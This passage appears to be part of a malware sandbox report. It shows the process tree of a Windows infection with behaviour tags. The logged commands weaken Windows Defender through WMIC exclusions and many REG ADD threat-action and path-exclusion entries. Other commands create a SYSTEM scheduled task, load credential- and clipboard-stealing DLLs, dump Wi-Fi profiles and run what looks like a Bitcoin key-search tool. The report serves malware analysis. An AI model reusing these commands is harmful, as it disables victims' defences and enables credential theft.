                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0xf56038,0xf56044,0xf56050
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1704
                                • C:\Users\Admin\Pictures\6qdZ80wO4GM0S3yMr5cj6wHB.exe
                                  "C:\Users\Admin\Pictures\6qdZ80wO4GM0S3yMr5cj6wHB.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  PID:368
                                  • C:\Users\Admin\AppData\Local\Temp\7zSB263.tmp\Install.exe
                                    .\Install.exe /RvdidblCuX "385118" /S
                                    5⤵
                                    • Checks BIOS information in registry
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Enumerates system info in registry
                                    PID:5328
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                      6⤵
                                        PID:212
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          7⤵
                                            PID:2032
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                              8⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:8
                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                9⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2912
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 12:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\FbrqaWr.exe\" em /hBsite_idXxD 385118 /S" /V1 /F
                                          6⤵
                                          • Drops file in Windows directory
                                          • Creates scheduled task(s)
                                          PID:3496
                                • C:\Windows\SysWOW64\rundll32.exe
                                  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                                  2⤵
                                  • Loads dropped DLL
                                  PID:1912
                                  • C:\Windows\system32\rundll32.exe
                                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                                    3⤵
                                    • Blocklisted process makes network request
                                    • Loads dropped DLL
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4508
                                    • C:\Windows\system32\netsh.exe
                                      netsh wlan show profiles
                                      4⤵
                                        PID:5068
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\132431369515_Desktop.zip' -CompressionLevel Optimal
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3472
                                  • C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"
                                    2⤵
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Drops file in Program Files directory
                                    PID:3204
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installg.bat" "
                                      3⤵
                                        PID:720
                                        • C:\Windows\SysWOW64\sc.exe
                                          Sc delete GameServerClient
                                          4⤵
                                          • Launches sc.exe
                                          PID:3996
                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                          GameService remove GameServerClient confirm
                                          4⤵
                                          • Executes dropped EXE
                                          PID:3452
                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                          GameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:4832
                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                          GameService start GameServerClient
                                          4⤵
                                          • Executes dropped EXE
                                          PID:5372
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "
                                        3⤵
                                          PID:5824
                                          • C:\Windows\SysWOW64\sc.exe
                                            Sc delete GameServerClientC
                                            4⤵
                                            • Launches sc.exe
                                            PID:5872
                                          • C:\Program Files (x86)\GameServerClient\GameService.exe
                                            GameService remove GameServerClientC confirm
                                            4⤵
                                            • Executes dropped EXE
                                            PID:5888
                                          • C:\Program Files (x86)\GameServerClient\GameService.exe
                                            GameService install GameServerClientC "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            PID:5976
                                          • C:\Program Files (x86)\GameServerClient\GameService.exe
                                            GameService start GameServerClientC
                                            4⤵
                                            • Executes dropped EXE
                                            PID:5208
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                          3⤵
                                            PID:1400
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
                                          2⤵
                                          • Blocklisted process makes network request
                                          • Loads dropped DLL
                                          PID:5676
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2284 -ip 2284
                                        1⤵
                                          PID:368
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4436 -ip 4436
                                          1⤵
                                            PID:3636
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2160 -ip 2160
                                            1⤵
                                              PID:844
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                              1⤵
                                                PID:5236
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                1⤵
                                                  PID:5248
                                                • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                  "C:\Program Files (x86)\GameServerClient\GameService.exe"
                                                  1⤵
                                                  • Executes dropped EXE
                                                  PID:5396
                                                  • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                    "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:5560
                                                    • C:\Windows\Temp\230488.exe
                                                      "C:\Windows\Temp\230488.exe" --list-devices
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      PID:5596
                                                • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                  "C:\Program Files (x86)\GameServerClient\GameService.exe"
                                                  1⤵
                                                  • Executes dropped EXE
                                                  PID:5316
                                                  • C:\Program Files (x86)\GameServerClient\GameServerClientC.exe
                                                    "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:1416
                                                    • C:\Windows\Temp\467674.exe
                                                      "C:\Windows\Temp\467674.exe" --coin BTC -m ADDRESSES -t 0 --range 268c4547700000000:268c4547740000000 -o xxx0.txt -i C:\Windows\Temp\curjob.bin
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:6000
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2372 -ip 2372
                                                  1⤵
                                                    PID:2804
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2372 -ip 2372
                                                    1⤵
                                                      PID:5880
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2372 -ip 2372
                                                      1⤵
                                                        PID:5904
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5748 -ip 5748
                                                        1⤵
                                                          PID:6084
                                                        • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                          C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          PID:4952
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4232 -ip 4232
                                                          1⤵
                                                            PID:2124
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4232 -ip 4232
                                                            1⤵
                                                              PID:2224
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4232 -ip 4232
                                                              1⤵
                                                                PID:2108
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 6020 -ip 6020
                                                                1⤵
                                                                  PID:5136
                                                                • C:\Windows\windefender.exe
                                                                  C:\Windows\windefender.exe
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  PID:1208
                                                                • C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\FbrqaWr.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\FbrqaWr.exe em /hBsite_idXxD 385118 /S
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in System32 directory
                                                                  PID:4740
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                    2⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:6108
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:4484
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                          4⤵
                                                                            PID:1404
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3596
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:784
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4948
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:5848
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:5752
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:4636
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:5784
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:1812
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:2552
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:4072
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:4212
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:4728
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4144
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:6104
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:5816
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:3884
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:3824
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:4372
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1532
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:4124
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:1504
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:6136
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:4256
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:5768
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1584
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4160
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:4232
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                              2⤵
                                                                                                                              • Drops file in System32 directory
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              PID:3720
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:3596
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    4⤵
                                                                                                                                      PID:784
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
